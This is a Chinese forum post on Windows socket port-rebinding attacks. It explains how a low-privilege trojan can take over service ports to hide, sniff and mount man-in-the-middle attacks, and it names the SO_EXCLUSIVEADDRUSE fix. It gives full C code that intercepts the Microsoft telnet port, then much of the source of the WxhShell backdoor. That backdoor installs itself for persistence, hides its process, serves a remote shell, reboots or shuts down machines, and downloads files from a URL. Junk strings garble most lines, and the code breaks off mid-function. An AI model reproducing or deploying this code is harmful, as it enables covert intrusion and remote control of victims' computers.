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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _fu?,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;V~[kF=t0  
;|f|d?Q\  
  saddr.sin_family = AF_INET; ^F `   
pAo5c4y!4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c} GH|i  
W"_")V=QBz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J]A!>|Ic  
-Fe) )Y'=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E}d@0C:  
{re<S<j&  
  这意味着什么?意味着可以进行如下的攻击: lV-b   
`r:n[N=Y&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {f\/2k3  
;{79d8/=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tB_GEt2M  
f\}fUg 2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $]eITyC`P  
"RH pj3 si  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oZkjg3  
:O}=$[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]E\o<"#t/  
ao]Dm#HiO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ua%$r[  
m?]X NgT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bZ0mK$B  
p^~ AbU'6~  
  #include @-9I<)Z/2  
  #include "|yuP1;L  
  #include Qx-/t9`!Z  
  #include    3: 'eZ cM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   oz(V a!  
  int main() *E0dCY$  
  { /*)zQ?N  
  WORD wVersionRequested; E({W`b~_f  
  DWORD ret; < `r+ZyM  
  WSADATA wsaData; 60B6~@]P  
  BOOL val; I'Dc9&2  
  SOCKADDR_IN saddr; f D<9k  
  SOCKADDR_IN scaddr; B zmmE2~*  
  int err; A{Jp>15AVg  
  SOCKET s;  $^F L*w  
  SOCKET sc; p0jQQg  
  int caddsize; n 7Mab  
  HANDLE mt; 0drt,k  
  DWORD tid;   AM4lAq_  
  wVersionRequested = MAKEWORD( 2, 2 ); _yi`relcq-  
  err = WSAStartup( wVersionRequested, &wsaData ); h\#\hx  
  if ( err != 0 ) { u]K&H&AxT  
  printf("error!WSAStartup failed!\n"); 4NaL#3  
  return -1; E-Nc|A  
  } %l4LX~-:  
  saddr.sin_family = AF_INET; kcg{z8cd'r  
   zO BLF|L=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e5/f%4YX  
`52+.*J+%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +yvtd]D$2W  
  saddr.sin_port = htons(23); P;7JK=~k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q#RUL!WF7U  
  { lxIo P  
  printf("error!socket failed!\n"); s9R#rwIc  
  return -1; I d6H~;  
  } OIpkXM  
  val = TRUE; zPzy 0lx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jlvh'y`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ' U]\]Wp  
  { @]v}& j7  
  printf("error!setsockopt failed!\n"); (gY3?&Ok*  
  return -1; eD4D<\*  
  } EDQKbTaPt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !6Sr*a*5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;L1Q"Hxh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |$*1!pL-QP  
d??;r:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dwd5P7  
  { #|<\q*<  
  ret=GetLastError(); ME.l{?v  
  printf("error!bind failed!\n"); h$p]M^Z7  
  return -1; ,E8:!r)6  
  } T?vM\o%i3  
  listen(s,2); UoAHy%Y<%  
  while(1) Zq tL4M~9  
  { ?VUU[h8"v5  
  caddsize = sizeof(scaddr); k!?sHUAj  
  //接受连接请求 d}@b 3   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @|AHTf!  
  if(sc!=INVALID_SOCKET) -BQoNEh  
  { BC:d@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7s8-Uwl<  
  if(mt==NULL) {)V!wSi  
  { t6/w({}j  
  printf("Thread Creat Failed!\n"); LqNt.d @  
  break; H7{)"P]{f  
  } >6Y @8 )  
  } X:N`x  
  CloseHandle(mt); WP*xu-(:  
  } " pg5w  
  closesocket(s); ~e|RVY,  
  WSACleanup(); 9:DT+^BB  
  return 0; 3K;V3pJ].  
  }   Db:^Omw o  
  DWORD WINAPI ClientThread(LPVOID lpParam) 73Zx`00  
  { JWZG)I]r  
  SOCKET ss = (SOCKET)lpParam; 8 5 L<  
  SOCKET sc; GkwdBy+  
  unsigned char buf[4096]; 0d>|2QV   
  SOCKADDR_IN saddr; F9ytU>zh  
  long num; %y96]e1  
  DWORD val; {}.M(nPtv;  
  DWORD ret; 7+!FZo{?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 55Pe&V1=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k^VL{z:EWB  
  saddr.sin_family = AF_INET; `$PdI4~J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); azhilUD8  
  saddr.sin_port = htons(23); v11Uw?CM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !uZ)0R  
  { %C[#:>'+  
  printf("error!socket failed!\n"); RSfB9)3D  
  return -1; + d?p? v  
  } 6!39t  
  val = 100; NUO#[7OK+x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wi U-syNh  
  { 0r_3:#Nn  
  ret = GetLastError(); (YV]T!q  
  return -1; \wjT|z1+Y  
  } scc+r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1tZ7%0R\g]  
  { X%C`('"R  
  ret = GetLastError(); 7sX#6`t  
  return -1; B4 k5IS  
  } uSsP'qd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5q^5DH_;  
  { *x!j:/S`n  
  printf("error!socket connect failed!\n"); B~ ?R 6  
  closesocket(sc); L`2(u!i J  
  closesocket(ss); t.rlC5 k  
  return -1; XY`{F.2h  
  } SO|!x}GfI  
  while(1) 9q/k,g  
  { fw&cv9X(IU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HfOaJ'+e<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YD9|2S!G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @vc9L  
  num = recv(ss,buf,4096,0); Wq2 Bo*[*  
  if(num>0) ~|Nj+A  
  send(sc,buf,num,0); 2%?Kc]JY9  
  else if(num==0)  2S  
  break; 7+NBcZuG9  
  num = recv(sc,buf,4096,0); @ ^q}.u`  
  if(num>0) (^HU|   
  send(ss,buf,num,0); ~XeWN^l(Ov  
  else if(num==0) <)$e*HrI  
  break; XQ'$J_hC  
  } <`V_H~Z  
  closesocket(ss); ([ jm=[E^  
  closesocket(sc); !U7}?i&H  
  return 0 ; mI,a2wqi  
  } ).32Im!;#R  
>6KwZr BB  
G_QV'zQ  
========================================================== M7fPaJKL  
6vfut$)[{  
下边附上一个代码,,WXhSHELL {1"kZL  
1rIL[(r4  
========================================================== GU0[K#%  
w-"tA`F4  
#include "stdafx.h" Q<Q?#v7NX  
0 wjL=]X1e  
#include <stdio.h> eemC;JV%  
#include <string.h> 5oe{i/#di  
#include <windows.h> F2>W{-H+  
#include <winsock2.h> .~a.mT  
#include <winsvc.h> 03n+kh  
#include <urlmon.h> *L&|4|BF2  
r,<p#4(>_  
#pragma comment (lib, "Ws2_32.lib") W5uC5C*,l  
#pragma comment (lib, "urlmon.lib") bXz*g`=;  
<CcSChCg  
#define MAX_USER   100 // 最大客户端连接数 hRQw]  
#define BUF_SOCK   200 // sock buffer $ghlrV;:ct  
#define KEY_BUFF   255 // 输入 buffer en"\2+{Cg  
}U^iVq*  
#define REBOOT     0   // 重启 `.g'bZ<v/  
#define SHUTDOWN   1   // 关机 V 7oE\cxr  
jA? 7>"|  
#define DEF_PORT   5000 // 监听端口 2"QcjFW%  
*`40B6dEr  
#define REG_LEN     16   // 注册表键长度 nGM;|6x"8|  
#define SVC_LEN     80   // NT服务名长度 `i vE: 3k  
1j]vJ4R_\  
// 从dll定义API rMoz+{1A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 58t_j54  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,`8:@<e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E#E&z(G2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^U6VJ(58P  
|&MO us#v  
// wxhshell配置信息 BZa`:ah~x  
struct WSCFG { ?L|Ai\|  
  int ws_port;         // 监听端口 X"V)oC  
  char ws_passstr[REG_LEN]; // 口令 q8)w Al  
  int ws_autoins;       // 安装标记, 1=yes 0=no o]eG+i6g]  
  char ws_regname[REG_LEN]; // 注册表键名 C{G;G@/7  
  char ws_svcname[REG_LEN]; // 服务名 OWp`Wat  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E&ReQgBft  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -nZDFC8y$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `k7X|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e F(oHn,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NE><(02qW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ` Nv1sA#C  
QBCEDv&j  
}; R"{P#U,HNO  
$T_>WUiK  
// default Wxhshell configuration ?r}2JHvN  
struct WSCFG wscfg={DEF_PORT, ( m7qc  
    "xuhuanlingzhe", :<H4hYt2  
    1, N>iNz[a q  
    "Wxhshell", jFl!<ooCo  
    "Wxhshell", T3Sz<K$E  
            "WxhShell Service", pI1g<pe  
    "Wrsky Windows CmdShell Service", !ZM*)6^  
    "Please Input Your Password: ", y~z&8XrH  
  1, mMT\"bb'  
  "http://www.wrsky.com/wxhshell.exe", ltv ~Kh  
  "Wxhshell.exe" w}YcAnuB{%  
    }; &"=O!t2  
/ <+F/R'=O  
// 消息定义模块 }&]T0U`@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tlYB'8bJY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N+vsQ!Qz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z2jS(N?J1  
char *msg_ws_ext="\n\rExit."; xxG>Leml  
char *msg_ws_end="\n\rQuit."; "g/UpnH  
char *msg_ws_boot="\n\rReboot..."; K."W/A!  
char *msg_ws_poff="\n\rShutdown..."; |9[)-C~N7  
char *msg_ws_down="\n\rSave to "; TCK#bJ  
F jW%M;H  
char *msg_ws_err="\n\rErr!";  zj$Ve  
char *msg_ws_ok="\n\rOK!"; I/zI\PP,  
#@ F   
char ExeFile[MAX_PATH]; RLO<5L  
int nUser = 0; @cQ |`  
HANDLE handles[MAX_USER]; BnG{) \s  
int OsIsNt; d>0 j!+s  
HP=5 a.  
SERVICE_STATUS       serviceStatus; 4O4}C#6(4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )"g @"LJ=  
?z3|^oU~d  
// 函数声明 IH"_6s#$&  
int Install(void); uM[[skc  
int Uninstall(void); EiS2-Uh*TT  
int DownloadFile(char *sURL, SOCKET wsh); Icx)+Mq  
int Boot(int flag); aNgJm~K0P  
void HideProc(void); "2:#bXM-  
int GetOsVer(void); q8& ^E.K  
int Wxhshell(SOCKET wsl); E?jb?  
void TalkWithClient(void *cs); 8\bZ?n#dn  
int CmdShell(SOCKET sock); N.vkM`Z  
int StartFromService(void); ^Yo2R  
int StartWxhshell(LPSTR lpCmdLine); Pa{bkr  
?{~. }Vn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =j@8/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K,!f7KKo  
[9Hrpo]tU:  
// 数据结构和表定义 o}Zl/&(  
SERVICE_TABLE_ENTRY DispatchTable[] = u"(2Xer  
{ p+;x&h)[l  
{wscfg.ws_svcname, NTServiceMain}, b(A;mt#N  
{NULL, NULL} 7'7o^> !  
}; ?Hbi[YD  
,]4.|A_[Rq  
// 自我安装 3V/f-l]X/  
int Install(void) kZQ$Iv+^(  
{ 2\#~%D>[  
  char svExeFile[MAX_PATH]; xw3A|Aj?r  
  HKEY key; XeozRfk%J|  
  strcpy(svExeFile,ExeFile); R7Ns5s3X  
\r}*<CRr6  
// 如果是win9x系统,修改注册表设为自启动 ;nb>IL  
if(!OsIsNt) { }b>e lz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V_9> Z?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RohD.`D  
  RegCloseKey(key); Q[bIkvr|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zU# OjvNk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _2eL3xXha.  
  RegCloseKey(key); ?e23[  
  return 0; h}%yG{'/M=  
    } }9?fb[]  
  } .-: 6L2  
} pXe]hnY  
else { *4 Kc "M  
&uJ7[m19z  
// 如果是NT以上系统,安装为系统服务 S4%MnT6Uy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )Ju$PrO  
if (schSCManager!=0) |bmc6G[  
{ _aOsFFB1KF  
  SC_HANDLE schService = CreateService 9R|B 5.  
  ( yXA]E.K!  
  schSCManager, <~Tfi*^+  
  wscfg.ws_svcname, 7@i2Mz/eV  
  wscfg.ws_svcdisp, [oS.B\Vc  
  SERVICE_ALL_ACCESS, }u~r.=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y{\(|j  
  SERVICE_AUTO_START, }{e7wqS$&,  
  SERVICE_ERROR_NORMAL, G$ Ii  
  svExeFile,  \4&FW|mx  
  NULL, Gp))1b';  
  NULL, o #F03  
  NULL, /J'dG%  
  NULL, #|{^k u  
  NULL Y&DC5T]  
  ); !& xc.39  
  if (schService!=0) E %> ){Y)  
  { _:l<4u !  
  CloseServiceHandle(schService); J""N:X!1  
  CloseServiceHandle(schSCManager); q,eXH8 x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (?zZvW8  
  strcat(svExeFile,wscfg.ws_svcname); \J^|H@;(@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QX 393v!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E- rXYNfy  
  RegCloseKey(key); (`Q_^Bfyl  
  return 0; `!g XA.9Uv  
    } :#p!&Fi  
  } tL@m5M%:N2  
  CloseServiceHandle(schSCManager); L}%4YB  
} Ci^tP~)&"  
} @T+pQ)0{{  
+Pm }_"GU  
return 1; Z=P=oldH  
} :n<<hR0d  
dNcP_l/A  
// 自我卸载 Oo 95\Yf$N  
int Uninstall(void) Nh|QYxOP  
{ 6995r%  
  HKEY key; `=f1rXhI+1  
-* ;`~5  
if(!OsIsNt) { #$9rH 2zd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^!>o5Y)  
  RegDeleteValue(key,wscfg.ws_regname); kP}91kja  
  RegCloseKey(key); [8.w2\<?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &\o !-EIK8  
  RegDeleteValue(key,wscfg.ws_regname); : S |)  
  RegCloseKey(key); K.jm>]'z4;  
  return 0; c{t(),nAA  
  } (T0%H<#+  
} K|LS VN?K  
} Y+I`XeY  
else { e#$ZOK)`  
tmI2BBv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); goV[C]|  
if (schSCManager!=0) l~Sn`%PgA  
{ sGD b<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Qf]ACN  
  if (schService!=0) Bx32pY  
  { JMq00_  
  if(DeleteService(schService)!=0) { #0j,1NpL  
  CloseServiceHandle(schService); xN#. Pm~  
  CloseServiceHandle(schSCManager); ,4%'~8'3  
  return 0; yjP;o`z%  
  } (S#4y  
  CloseServiceHandle(schService); nf MQ3K P  
  } 8"g.Z*  
  CloseServiceHandle(schSCManager); e RjpR?!\  
} )v67wn*1A  
} i;$'haK<  
*u%4]q  
return 1; 4!dN^;Cb  
} r:Xui-  
Q[k7taoy  
// 从指定url下载文件 $dLPvN  
int DownloadFile(char *sURL, SOCKET wsh) \'40u|f  
{ Y@Kp'+t(!  
  HRESULT hr; 8y{<M"v+/  
char seps[]= "/"; ctL@&~*nY  
char *token; lS(?x|dO  
char *file; 43Yav+G(+  
char myURL[MAX_PATH]; 'L2M  W  
char myFILE[MAX_PATH]; }$ Am;%?p  
:d<;h:^_  
strcpy(myURL,sURL); !%?X% @9  
  token=strtok(myURL,seps); WeTsva+  
  while(token!=NULL) -)tu$W*  
  { r='"X#CmV/  
    file=token; dZ7+Iw;m  
  token=strtok(NULL,seps); pU*dE   
  } , ]'?Gd  
ZAPT5  
GetCurrentDirectory(MAX_PATH,myFILE); Hs+VA$$*  
strcat(myFILE, "\\"); "oYyeT ,?  
strcat(myFILE, file); [a*m9F\ ,  
  send(wsh,myFILE,strlen(myFILE),0); cFoDR  
send(wsh,"...",3,0); ^V~r S8]gj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?1('s0s\,  
  if(hr==S_OK) <Dw`Ur^X5  
return 0; !RnO{FL  
else \gL H_$}  
return 1; !ldb_*)h  
451r!U1Z  
} 4l$(#NB<  
HhaUC?JtSK  
// 系统电源模块 xh\{ dUPA  
int Boot(int flag) Y$ ;C@I  
{ ']+-u{+#  
  HANDLE hToken; h&Ehp   
  TOKEN_PRIVILEGES tkp; Q- %Q7n'c  
^Q]*CU+C  
  if(OsIsNt) { bO: Ei  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 78\:{i->ta  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (@dh"=Lt\  
    tkp.PrivilegeCount = 1; Qcz7IA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Poacd;*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rs3Uk.Z^ '  
if(flag==REBOOT) { M? oK@i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EW{z?/  
  return 0; Dqe/n_Z  
} W$0<a@  
else { fi%u]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6v0^'}  
  return 0; OZ1+`4 v  
} RV|: mI  
  } s!09Pxc  
  else { ;PJWd|3  
if(flag==REBOOT) { 0sRby!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4?X#d)L(  
  return 0; . oUaq|O  
} ZN|DR|c UY  
else { qbkvwL9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @M?N[LG  
  return 0; A:1O:LB=!  
} ky#d`   
} d^IOB|6Q  
N G1]!Vz5  
return 1; dfe 9)m>  
} hq/\'Z&!+P  
pK#Ze/!  
// win9x进程隐藏模块 d+%1q  
void HideProc(void) hNXPm~OK\  
{ uRKCvsisX  
:*e0Z2=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8f% @  
  if ( hKernel != NULL ) viAvD6e  
  { N7*JL2Rnq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UnZ*"%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z bxd,|<|  
    FreeLibrary(hKernel); -Xkdu?6Eh  
  } 28-6(oG  
*~fZ9EkD  
return; |^Z1 D TAw  
} L*9^-,  
n6[bF "v  
// 获取操作系统版本 r^ &{0c&o  
int GetOsVer(void) rSB"0 W7  
{ Ywt_h;:  
  OSVERSIONINFO winfo; 8UoMOeI3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cn=~}T@~Z  
  GetVersionEx(&winfo); l2=.;7 IV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %$I\\q q>{  
  return 1; x$AF0xFO  
  else  "=H7p3  
  return 0; ;'dw`)~jQ  
} Fg?Gx(g4  
s'ntf  
// 客户端句柄模块 T.!GEUQ  
int Wxhshell(SOCKET wsl) M'W@K  
{ Q$W0>bUP  
  SOCKET wsh; U n2xZ[4  
  struct sockaddr_in client; A7 .C  
  DWORD myID; t qbS!r  
TvAA  
  while(nUser<MAX_USER) O$Wt\Y <q  
{ G!oq ;<  
  int nSize=sizeof(client); YU[93@mCh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8[ 1D4d  
  if(wsh==INVALID_SOCKET) return 1; a |32Pn  
Rs{L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qwk  
if(handles[nUser]==0) gCgMmD=AZ  
  closesocket(wsh); 18Vtk"j  
else >c\'4M8Cz  
  nUser++; i=reJ(y-  
  } ]~87v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xg'z_W  
ME1lQ7E4B  
  return 0; "4H&wHhT!  
} e\k=T}  
7s,IT8ii  
// 关闭 socket t'_Hp},  
void CloseIt(SOCKET wsh) Z~~{!C+G  
{ DL|,:2`  
closesocket(wsh); A(W%G|+  
nUser--; <dD}4c+/t  
ExitThread(0); ~kYUp5f  
} zVZZdG~8  
Vur$t^zE  
// 客户端请求句柄 ,`G8U/  
void TalkWithClient(void *cs) VCcLS3  
{ i15uHl  
7NMQUN7k '  
  SOCKET wsh=(SOCKET)cs; 2K!3+D"  
  char pwd[SVC_LEN]; 8Cs)_bj#!  
  char cmd[KEY_BUFF]; q0.+F4  
char chr[1];  ^P~%^?(  
int i,j; U'UV=:/-  
@YMef `T:  
  while (nUser < MAX_USER) { G7pj.rQ  
8}\VlH]  
if(wscfg.ws_passstr) { .Frc:Y{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 782be-n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `&4L'1eF{  
  //ZeroMemory(pwd,KEY_BUFF);  1SP )`Q  
      i=0; +e`f|OQ  
  while(i<SVC_LEN) { 4VSlgoz  
Y;p _ff  
  // 设置超时 ?zQ\u{]=  
  fd_set FdRead; c\-5vw||b  
  struct timeval TimeOut; syA*!Up  
  FD_ZERO(&FdRead); CVo@zr$  
  FD_SET(wsh,&FdRead); K\nN2y  
  TimeOut.tv_sec=8; *O#%hTYq  
  TimeOut.tv_usec=0; kUmrJBh$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \^iJv ~d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E08FUAth]#  
VThcG( NF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uo_Y"QiKEH  
  pwd=chr[0]; L|qQZ=  
  if(chr[0]==0xd || chr[0]==0xa) { wW1aG  
  pwd=0; gV):3mWC  
  break; KIC5U50J  
  } d `>M-:dF  
  i++; UQaLhK v:  
    } ~urIA/  
s&iM.[k  
  // 如果是非法用户,关闭 socket ~jH@3\ ?-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D*o_IrG_(  
} Q` 4=  
A9Q!V01_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F.HD;C-;(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V'#dY~E-P  
xpx Un8.  
while(1) { <M B]W`5  
9s6@AJf  
  ZeroMemory(cmd,KEY_BUFF); II3)Cz}xRG  
:@rE&  
      // 自动支持客户端 telnet标准   BDNn~aU#m  
  j=0; P_B#  
  while(j<KEY_BUFF) { -/ ; y*mP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zu5'Ex`gQa  
  cmd[j]=chr[0]; }tF/ca:XPQ  
  if(chr[0]==0xa || chr[0]==0xd) { zIi|z}WJ  
  cmd[j]=0; ]iRE^o6  
  break; bTHKMaGWC  
  } c$rkbbf~V  
  j++; 0Jm6 r4s?  
    } s:7^R-"  
Q zPq^  
  // 下载文件 U[*VNJSp  
  if(strstr(cmd,"http://")) { F^ 7qLvh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  iE=Yh  
  if(DownloadFile(cmd,wsh)) =<e|<EwSZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (wEaa'XL  
  else L@HPU;<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l_hM,]T0  
  } P,k~! F^L  
  else { swYlp  
8*!<,k="9  
    switch(cmd[0]) { mTz %;+|L  
  0; 2i"mzS\  
  // 帮助 :'91qA%Wr  
  case '?': { D*6v.`]X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mcy\nAf5%  
    break; '$YB -  
  } +>/ariRr  
  // 安装 rdhK&5x*  
  case 'i': { onRxe\?D(  
    if(Install()) gELku .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N:GSfM@g  
    else K#rfQ0QK/!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OSQZ5:g|  
    break; S<rdPS*P  
    } au@ LQxKQ  
  // 卸载 ,;)Y 1q}Q  
  case 'r': { }l~|c{WH`  
    if(Uninstall()) L^i=RGx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7yD=~l\Bbs  
    else PElC0 qCn[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @wy|l)%  
    break; P?p>'avP  
    } J( JsfU4  
  // 显示 wxhshell 所在路径 G3'>KMa.  
  case 'p': { ?YWfoH4mS  
    char svExeFile[MAX_PATH]; , (dg]7  
    strcpy(svExeFile,"\n\r"); +%Q:  
      strcat(svExeFile,ExeFile); $}V<U m  
        send(wsh,svExeFile,strlen(svExeFile),0); zI$^yk-vn  
    break; u\wdb^8ds  
    } T]Z|Wq`bot  
  // 重启 s:3 altv  
  case 'b': { #"-?+F=rk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jz7a|pgep  
    if(Boot(REBOOT)) "X0"=1R~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oo |*q+{  
    else { w F6ywr  
    closesocket(wsh); v,y nz'>)  
    ExitThread(0); 2+zE|I.  
